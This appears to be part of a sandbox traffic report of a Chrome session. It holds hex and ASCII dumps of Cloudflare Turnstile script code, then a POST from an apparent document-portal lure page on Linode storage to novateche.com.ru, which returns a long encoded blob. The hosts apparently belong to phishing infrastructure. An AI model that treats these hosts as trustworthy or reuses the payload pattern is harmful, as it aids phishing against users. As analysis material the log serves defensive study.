3d 6e 75 Data Ascii: e}function _r(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function $e(e,r){return r=r!=nu
2024-08-14 02:14:47 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 4a 65 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 62 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 43 74 28 65 29 7c 7c 4e 74 28 65 2c 72 29 7c 7c 4c 74 28 65 2c 72 29 7c 7c 6b 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 4e 65 28 65 2c 72 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(a))return Je(e,r)}}function be(e,r){return Ct(e)\|\|Nt(e,r)\|\|Lt(e,r)\|\|kt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ne(e,r){var a={label:0,sent:function(){if(u[0
2024-08-14 02:14:47 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 46 74 3d 33 30 30 30 32 30 3b 76 61 72 20 6b 65 3d 33 30 30 30 33 30 3b 76 61 72 20 4c 65 3d 33 30 30 30 33 31 3b 76 61 72 20 42 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ft=300020;var ke=300030;var Le=300031;var B;(fu
2024-08-14 02:14:47 UTC	1369	IN	Data Raw: 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 75 65 7c 7c 28 75 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6c 65 3b 28 66 75 6e Data Ascii: e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ue\|\|(ue={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var le;(fun
2024-08-14 02:14:47 UTC	1369	IN	Data Raw: 76 61 72 20 59 3d 22 30 2f 30 22 3b 66 75 6e 63 74 69 6f 6e 20 66 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 Data Ascii: var Y="0/0";function ft(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="d
2024-08-14 02:14:47 UTC	1369	IN	Data Raw: 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 63 2c 75 3d 4c 28 78 72 2c 28 63 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 67 2c 5f 3d 4c 28 77 72 2c 28 67 3d 28 61 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 61 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 67 21 3d 3d 76 6f 69 64 20 30 3f 67 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 26 26 75 3f 22 Data Ascii: HAVING_TROUBLES,c,u=L(xr,(c=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&c!==void 0?c:"nonexistent"),g,_=L(wr,(g=(a=e.displayLanguage)===null\|\|a===void 0?void 0:a.toLowerCase())!==null&&g!==void 0?g:"nonexistent");return o&&u?"
2024-08-14 02:14:47 UTC	1369	IN	Data Raw: 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 61 29 7d 2c 73 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 74 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 50 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 5a 74 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 Data Ascii: __proto__\|\|Object.getPrototypeOf(a)},se(e)}function Zt(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function Pe(e){var r=typeof Map=="function"?new Map:void 0;return Pe=function(o){if(o===null\|\|!Zt(o))return o;if(typeof o!="function")
2024-08-14 02:14:47 UTC	1369	IN	Data Raw: 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 61 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 50 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 61 72 28 29 7b 76 61 72 20 65 3d 67 74 28 29 3b 65 7c 7c 76 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 Data Ascii: riptElement)&&e.test(r.src))return r;for(var a=document.querySelectorAll("script"),o=0,c;c=a[o];o++)if(P(c,HTMLScriptElement)&&e.test(c.src))return c}function ar(){var e=gt();e\|\|v("Could not find Turnstile script tag, some features may not be available",4
2024-08-14 02:14:47 UTC	1369	IN	Data Raw: 28 22 61 6c 6c 6f 77 22 2c 22 63 72 6f 73 73 2d 6f 72 69 67 69 6e 2d 69 73 6f 6c 61 74 65 64 3b 20 66 75 6c 6c 73 63 72 65 65 6e 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 61 6e 64 62 6f 78 22 2c 22 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c 6f 77 2d 73 63 72 69 70 74 73 20 61 6c 6c 6f 77 2d 70 6f 70 75 70 73 20 61 6c 6c 6f 77 2d 66 6f 72 6d 73 22 29 2c 66 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 63 72 6f 6c 6c 69 6e 67 22 2c 22 6e 6f 22 29 2c 66 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 57 69 64 74 68 3d 22 30 70 78 22 2c 66 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 25 22 2c 66 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 25 22 2c 66 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 68 69 64 64 Data Ascii: ("allow","cross-origin-isolated; fullscreen"),f.setAttribute("sandbox","allow-same-origin allow-scripts allow-popups allow-forms"),f.setAttribute("scrolling","no"),f.style.borderWidth="0px",f.style.width="100%",f.style.height="100%",f.style.overflow="hidd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49750	172.67.194.21	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-14 02:14:47 UTC	710	OUT	POST // HTTP/1.1 Host: novateche.com.ru Connection: keep-alive Content-Length: 24 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-14 02:14:47 UTC	24	OUT	Data Raw: 7b 22 64 61 69 72 79 77 6f 6d 61 6e 22 3a 22 61 62 64 6f 6d 65 6e 22 7d Data Ascii: {"dairywoman":"abdomen"}
2024-08-14 02:14:49 UTC	647	IN	HTTP/1.1 200 OK Date: Wed, 14 Aug 2024 02:14:49 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.3.33 access-control-allow-origin: * vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D4Nd%2FF11BytVOMMiCe3ISgBcA9JapV8Lcye4p3WZq8nxB2IVZV%2F%2FTJ2Saw4Y8QHX%2FKe67ikbZLfaUzrj8Ii4D6BgYbxtETnrqwcyy2RtNXhv5xzZMlb4Ryg6LTqzo8dt7eUv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2d6ef248e34223-EWR alt-svc: h3=":443"; ma=86400
2024-08-14 02:14:49 UTC	722	IN	Data Raw: 64 35 63 0d 0a 7b 22 61 22 3a 22 41 57 54 74 41 37 54 38 63 73 71 5c 2f 4e 41 54 37 4b 63 5a 31 46 6a 76 54 55 4c 6d 50 4e 6e 48 57 4b 4f 52 78 6d 32 4a 4d 66 4f 69 78 6a 78 51 32 43 69 70 72 43 79 6a 62 53 38 4a 38 57 78 4d 7a 6c 44 50 48 44 54 69 47 79 7a 6b 31 6d 48 53 42 42 71 48 76 58 38 48 55 55 55 4f 70 53 47 66 4d 35 6e 51 4c 72 4e 71 66 69 72 64 5c 2f 4c 6f 5a 5a 37 61 39 30 61 75 37 7a 2b 6f 44 44 35 47 4d 67 62 44 68 38 4d 4f 49 6b 70 51 30 4f 68 69 52 37 63 6a 79 4b 74 50 7a 7a 63 36 65 7a 48 42 49 67 79 62 69 7a 67 66 54 46 43 63 6c 7a 35 63 31 51 62 4e 51 61 59 75 50 38 35 42 47 42 4a 53 39 30 5a 47 68 65 31 53 33 52 31 39 64 69 68 4c 67 2b 5c 2f 6c 6b 6a 5c 2f 58 32 65 44 36 6c 38 51 6d 2b 62 77 66 63 75 7a 48 77 44 43 52 6f 36 56 45 31 5a Data Ascii: d5c{"a":"AWTtA7T8csq\/NAT7KcZ1FjvTULmPNnHWKORxm2JMfOixjxQ2CiprCyjbS8J8WxMzlDPHDTiGyzk1mHSBBqHvX8HUUUOpSGfM5nQLrNqfird\/LoZZ7a90au7z+oDD5GMgbDh8MOIkpQ0OhiR7cjyKtPzzc6ezHBIgybizgfTFCclz5c1QbNQaYuP85BGBJS90ZGhe1S3R19dihLg+\/lkj\/X2eD6l8Qm+bwfcuzHwDCRo6VE1Z
2024-08-14 02:14:49 UTC	1369	IN	Data Raw: 44 66 34 73 6a 6d 48 70 46 48 57 4f 64 78 2b 52 4e 38 53 56 61 6f 78 34 52 6d 69 57 73 36 52 65 53 74 6d 65 61 48 49 73 48 71 56 69 6e 43 71 30 31 49 44 75 65 4a 6e 69 35 77 52 6c 77 5c 2f 67 69 38 38 58 36 74 64 79 68 6c 50 6e 74 77 6b 75 34 62 45 59 44 5c 2f 32 6d 66 64 63 38 74 73 42 6d 31 62 45 61 55 4f 34 53 37 53 6f 58 45 71 54 49 70 56 4c 52 34 58 77 4c 41 5a 44 39 36 75 50 68 71 76 4b 39 43 62 6c 31 79 47 50 68 49 39 35 74 63 46 43 77 68 33 36 4a 6c 54 71 73 47 4f 73 75 34 54 48 48 75 5c 2f 70 74 57 5a 32 68 5c 2f 65 47 4f 6f 54 5a 65 46 70 47 75 39 67 51 78 30 46 4d 34 61 57 45 32 68 56 6c 69 34 66 5a 31 76 4a 42 6b 35 4f 79 44 4e 48 66 6e 2b 73 42 47 6b 75 79 5a 39 30 34 31 76 61 32 64 4f 41 46 48 67 53 31 76 34 4f 6a 57 6f 6c 51 31 36 4b 44 52 Data Ascii: Df4sjmHpFHWOdx+RN8SVaox4RmiWs6ReStmeaHIsHqVinCq01IDueJni5wRlw\/gi88X6tdyhlPntwku4bEYD\/2mfdc8tsBm1bEaUO4S7SoXEqTIpVLR4XwLAZD96uPhqvK9Cbl1yGPhI95tcFCwh36JlTqsGOsu4THHu\/ptWZ2h\/eGOoTZeFpGu9gQx0FM4aWE2hVli4fZ1vJBk5OyDNHfn+sBGkuyZ9041va2dOAFHgS1v4OjWolQ16KDR
2024-08-14 02:14:49 UTC	1336	IN	Data Raw: 76 51 4b 41 68 56 30 56 4a 37 6d 66 61 6c 7a 43 70 46 72 63 37 69 47 32 56 53 4a 32 57 7a 51 41 6f 54 74 4c 79 58 46 38 2b 33 74 5c 2f 44 6a 67 56 68 4e 62 68 47 6c 64 77 49 35 63 4b 31 53 67 4e 68 69 71 4c 76 44 77 79 73 58 5a 64 70 4f 39 39 34 69 73 5c 2f 61 79 35 44 4c 5a 6c 6d 7a 59 30 52 36 79 62 79 36 69 46 5a 72 42 4d 45 68 53 6c 49 70 74 33 69 55 35 35 56 76 7a 63 64 44 4f 46 46 43 6e 6a 57 4f 39 53 30 73 46 62 6d 77 37 36 68 69 48 6f 4c 51 5c 2f 7a 36 5a 54 75 30 62 39 6b 46 37 4a 35 5a 42 4c 36 4f 41 74 73 59 61 5a 61 41 34 6b 67 79 50 69 47 41 68 65 31 4f 34 4c 7a 33 5c 2f 56 57 4a 4c 4f 33 75 44 67 61 56 62 38 79 72 50 6a 6d 61 42 65 4c 55 30 4a 72 32 6b 36 6b 38 43 49 31 68 67 61 67 65 33 45 4d 64 68 67 33 6c 46 6e 73 5a 75 61 4a 62 59 45 30 Data Ascii: vQKAhV0VJ7mfalzCpFrc7iG2VSJ2WzQAoTtLyXF8+3t\/DjgVhNbhGldwI5cK1SgNhiqLvDwysXZdpO994is\/ay5DLZlmzY0R6yby6iFZrBMEhSlIpt3iU55VvzcdDOFFCnjWO9S0sFbmw76hiHoLQ\/z6ZTu0b9kF7J5ZBL6OAtsYaZaA4kgyPiGAhe1O4Lz3\/VWJLO3uDgaVb8yrPjmaBeLU0Jr2k6k8CI1hgage3EMdhg3lFnsZuaJbYE0
2024-08-14 02:14:49 UTC	1369	IN	Data Raw: 33 62 64 61 0d 0a 4a 46 33 7a 6f 49 67 55 66 59 4a 78 33 56 46 7a 43 6a 63 38 39 35 2b 46 76 55 73 46 43 4e 37 78 77 4d 32 5c 2f 62 77 71 58 6c 4c 63 75 55 66 74 59 66 4d 4f 70 32 56 74 54 77 79 56 68 75 43 58 7a 72 32 53 4a 4e 4f 4d 68 4f 45 4b 34 77 70 68 4d 54 6c 54 55 32 48 4c 59 58 6e 52 66 51 38 34 50 46 33 38 5a 6b 4f 37 34 49 41 30 67 66 76 4b 78 74 55 66 55 62 72 67 6c 45 4e 49 6c 75 4b 64 61 69 64 38 4d 39 57 73 65 4a 4f 59 41 67 74 44 38 76 75 47 39 39 49 6f 4c 61 61 55 4d 57 7a 63 6d 36 2b 34 53 47 6a 30 70 30 6d 57 39 73 50 6b 70 6e 55 5a 58 65 69 4e 73 38 2b 32 41 41 68 5c 2f 30 32 74 79 7a 73 47 4f 31 7a 50 48 57 72 57 45 44 38 68 35 77 70 69 47 59 48 65 50 66 71 34 68 46 30 4c 43 65 46 38 49 34 76 70 52 71 56 6b 39 62 36 62 33 67 49 43 31 Data Ascii: 3bdaJF3zoIgUfYJx3VFzCjc895+FvUsFCN7xwM2\/bwqXlLcuUftYfMOp2VtTwyVhuCXzr2SJNOMhOEK4wphMTlTU2HLYXnRfQ84PF38ZkO74IA0gfvKxtUfUbrglENIluKdaid8M9WseJOYAgtD8vuG99IoLaaUMWzcm6+4SGj0p0mW9sPkpnUZXeiNs8+2AAh\/02tyzsGO1zPHWrWED8h5wpiGYHePfq4hF0LCeF8I4vpRqVk9b6b3gIC1
2024-08-14 02:14:49 UTC	1369	IN	Data Raw: 35 68 79 71 62 4b 62 58 38 44 46 73 66 67 38 6e 38 45 42 6e 57 38 70 36 67 36 43 37 30 4e 66 45 35 56 54 75 47 4e 63 5c 2f 63 75 48 5a 5a 4a 67 37 46 4c 6d 36 4b 39 61 36 36 30 79 5c 2f 71 64 45 6f 33 6a 4e 33 46 6d 6c 75 77 64 68 75 46 50 6e 69 37 62 33 6b 73 41 48 4e 72 49 45 2b 2b 59 48 74 6c 5c 2f 48 34 50 52 70 37 64 50 67 6b 5a 4e 4d 37 6d 45 68 64 48 45 6a 77 6c 7a 31 4c 45 71 69 65 5a 57 34 6a 6d 67 67 68 4f 6e 34 32 38 35 61 46 72 64 62 54 47 71 77 41 58 59 34 7a 4e 45 6f 76 54 68 74 54 33 38 6d 6c 6a 46 79 69 55 6e 2b 71 75 33 43 30 52 72 79 4b 39 52 56 37 43 38 69 39 70 65 50 35 76 51 6a 6f 36 49 7a 51 41 37 38 4d 58 69 57 6a 6b 37 79 41 77 34 35 33 4c 33 48 31 4e 64 46 79 44 4f 6f 76 51 37 38 57 4f 56 53 2b 41 69 6a 32 48 74 42 63 56 48 46 37 Data Ascii: 5hyqbKbX8DFsfg8n8EBnW8p6g6C70NfE5VTuGNc\/cuHZZJg7FLm6K9a660y\/qdEo3jN3FmluwdhuFPni7b3ksAHNrIE++YHtl\/H4PRp7dPgkZNM7mEhdHEjwlz1LEqieZW4jmgghOn4285aFrdbTGqwAXY4zNEovThtT38mljFyiUn+qu3C0RryK9RV7C8i9peP5vQjo6IzQA78MXiWjk7yAw453L3H1NdFyDOovQ78WOVS+Aij2HtBcVHF7
2024-08-14 02:14:49 UTC	1369	IN	Data Raw: 4c 58 74 71 36 76 66 4e 31 69 59 79 54 46 4f 37 31 73 78 4f 75 33 66 37 61 30 52 31 5a 50 31 78 6e 4a 51 4d 77 69 57 37 4e 73 66 48 4d 66 5c 2f 4b 32 52 31 68 6c 73 47 42 59 4c 34 75 58 36 76 31 4b 42 33 75 38 7a 74 63 30 79 53 35 65 70 31 44 64 6f 54 75 68 39 4c 46 37 2b 63 2b 64 4a 32 4a 52 56 63 62 48 76 4a 66 75 32 31 69 64 4b 4c 66 4f 78 2b 4f 51 4e 47 59 37 66 6c 31 52 4d 72 6a 58 77 51 58 63 31 36 46 66 4b 75 4b 70 63 66 71 62 7a 59 7a 55 7a 30 2b 30 75 7a 74 70 59 64 66 6f 53 5a 76 39 53 31 6f 73 76 76 56 69 66 37 41 4f 56 6d 50 71 4f 62 44 6e 4a 4c 68 5c 2f 53 77 5c 2f 41 36 5c 2f 31 4c 51 79 4b 5c 2f 34 41 4c 46 4b 45 32 38 75 49 44 2b 6f 73 68 34 31 67 4d 72 57 63 62 2b 65 6d 58 74 55 64 50 41 78 39 55 4a 6c 65 36 38 30 54 43 78 55 59 7a 4b 79 Data Ascii: LXtq6vfN1iYyTFO71sxOu3f7a0R1ZP1xnJQMwiW7NsfHMf\/K2R1hlsGBYL4uX6v1KB3u8ztc0yS5ep1DdoTuh9LF7+c+dJ2JRVcbHvJfu21idKLfOx+OQNGY7fl1RMrjXwQXc16FfKuKpcfqbzYzUz0+0uztpYdfoSZv9S1osvvVif7AOVmPqObDnJLh\/Sw\/A6\/1LQyK\/4ALFKE28uID+osh41gMrWcb+emXtUdPAx9UJle680TCxUYzKy
2024-08-14 02:14:49 UTC	1369	IN	Data Raw: 32 42 69 6c 4d 56 6a 4c 69 67 46 41 53 31 79 32 51 62 33 44 68 74 44 56 6f 39 73 39 61 44 43 6f 5a 72 43 55 63 36 52 49 39 53 4a 52 52 5a 48 75 30 58 41 56 6d 6a 34 6c 5a 55 46 6b 34 2b 74 56 52 4a 61 7a 70 33 52 30 62 63 47 69 68 4b 4b 56 55 4e 35 62 30 77 45 52 79 59 41 69 45 58 35 55 33 74 78 49 6d 36 77 46 4b 36 62 69 69 70 77 52 43 38 45 6d 4c 6f 4e 38 30 6b 54 53 77 76 47 32 76 45 4e 2b 67 75 64 6d 49 62 53 50 55 2b 74 72 32 38 68 50 66 34 52 4b 67 33 37 5c 2f 32 70 72 78 49 32 37 71 6a 7a 72 6d 50 52 54 7a 68 6c 62 44 5c 2f 62 4e 4b 67 64 2b 6b 46 2b 34 63 35 31 42 53 4e 43 66 54 33 69 75 37 64 4d 64 6a 74 4a 49 70 48 65 6e 57 74 75 42 31 70 73 33 69 62 6d 58 67 68 59 34 4f 65 49 4d 4d 70 37 79 50 43 6d 30 75 7a 6b 49 7a 66 53 65 42 47 35 54 6d 42 Data Ascii: 2BilMVjLigFAS1y2Qb3DhtDVo9s9aDCoZrCUc6RI9SJRRZHu0XAVmj4lZUFk4+tVRJazp3R0bcGihKKVUN5b0wERyYAiEX5U3txIm6wFK6biipwRC8EmLoN80kTSwvG2vEN+gudmIbSPU+tr28hPf4RKg37\/2prxI27qjzrmPRTzhlbD\/bNKgd+kF+4c51BSNCfT3iu7dMdjtJIpHenWtuB1ps3ibmXghY4OeIMMp7yPCm0uzkIzfSeBG5TmB
2024-08-14 02:14:49 UTC	1369	IN	Data Raw: 49 6e 6a 37 46 4f 71 34 4d 4b 76 5c 2f 47 44 62 7a 61 4e 57 47 56 55 61 5c 2f 38 31 55 76 49 73 61 76 5c 2f 5c 2f 4b 6b 55 62 74 78 6d 4d 67 30 53 36 46 78 30 71 37 5a 54 70 4b 68 72 69 4f 73 38 4c 43 77 62 61 74 56 63 57 7a 48 71 43 50 50 38 6a 31 4c 79 31 68 56 58 38 6c 76 47 73 58 31 30 66 68 31 73 35 46 71 31 6e 67 38 35 44 70 76 5a 68 49 38 57 70 65 33 67 63 55 67 48 4b 75 68 48 5c 2f 56 45 51 6d 42 51 74 76 79 4a 33 4e 73 4c 4e 6a 38 41 58 4d 56 6b 59 39 63 56 32 38 4a 31 68 38 30 37 78 49 50 72 31 66 57 5a 4d 67 4c 2b 64 68 39 56 36 4f 37 38 71 4b 52 34 4d 53 6f 65 5a 5c 2f 74 68 69 6c 62 71 74 34 61 4a 4c 4a 48 38 72 34 59 4a 66 72 4d 7a 5c 2f 47 49 73 69 5c 2f 49 30 4d 63 77 5c 2f 47 33 56 65 2b 61 44 45 4f 64 57 55 70 77 41 6e 61 4b 64 47 53 49 Data Ascii: Inj7FOq4MKv\/GDbzaNWGVUa\/81UvIsav\/\/KkUbtxmMg0S6Fx0q7ZTpKhriOs8LCwbatVcWzHqCPP8j1Ly1hVX8lvGsX10fh1s5Fq1ng85DpvZhI8Wpe3gcUgHKuhH\/VEQmBQtvyJ3NsLNj8AXMVkY9cV28J1h807xIPr1fWZMgL+dh9V6O78qKR4MSoeZ\/thilbqt4aJLJH8r4YJfrMz\/GIsi\/I0Mcw\/G3Ve+aDEOdWUpwAnaKdGSI
2024-08-14 02:14:49 UTC	1369	IN	Data Raw: 4f 57 4c 52 50 35 43 6e 46 6c 44 76 34 51 32 4f 4c 59 37 34 72 61 52 61 4e 65 52 75 6b 6e 75 4a 4e 4a 49 4f 37 46 33 32 56 78 4c 61 32 32 4b 64 41 6e 66 66 7a 57 34 63 61 55 63 66 70 5a 36 5c 2f 78 50 4c 53 31 72 4a 54 57 2b 58 65 59 4a 6d 51 44 4e 44 51 66 35 76 53 63 5c 2f 50 5c 2f 76 2b 4a 51 78 5a 4e 6c 31 5a 57 38 36 75 61 79 4d 35 51 71 67 68 57 5a 4b 57 6d 38 5a 63 56 68 42 38 53 5a 64 6b 32 66 30 57 46 65 59 52 32 6e 4a 72 6a 32 76 70 58 77 68 70 42 56 30 6e 4b 6f 37 6e 7a 4b 7a 72 49 4a 43 41 39 6a 7a 69 30 64 53 50 6b 66 30 42 61 6c 67 68 6d 69 38 57 66 62 77 30 6c 61 72 53 52 31 48 4c 56 42 58 72 61 71 55 67 6c 30 4a 6c 30 72 4b 68 34 6f 71 77 5a 41 30 68 64 6b 43 52 59 4f 4f 53 62 46 48 58 68 5c 2f 39 67 72 6a 51 43 31 32 64 6f 45 32 38 30 41 Data Ascii: OWLRP5CnFlDv4Q2OLY74raRaNeRuknuJNJIO7F32VxLa22KdAnffzW4caUcfpZ6\/xPLS1rJTW+XeYJmQDNDQf5vSc\/P\/v+JQxZNl1ZW86uayM5QqghWZKWm8ZcVhB8SZdk2f0WFeYR2nJrj2vpXwhpBV0nKo7nzKzrIJCA9jzi0dSPkf0Balghmi8Wfbw0larSR1HLVBXraqUgl0Jl0rKh4oqwZA0hdkCRYOOSbFHXh\/9grjQC12doE280A

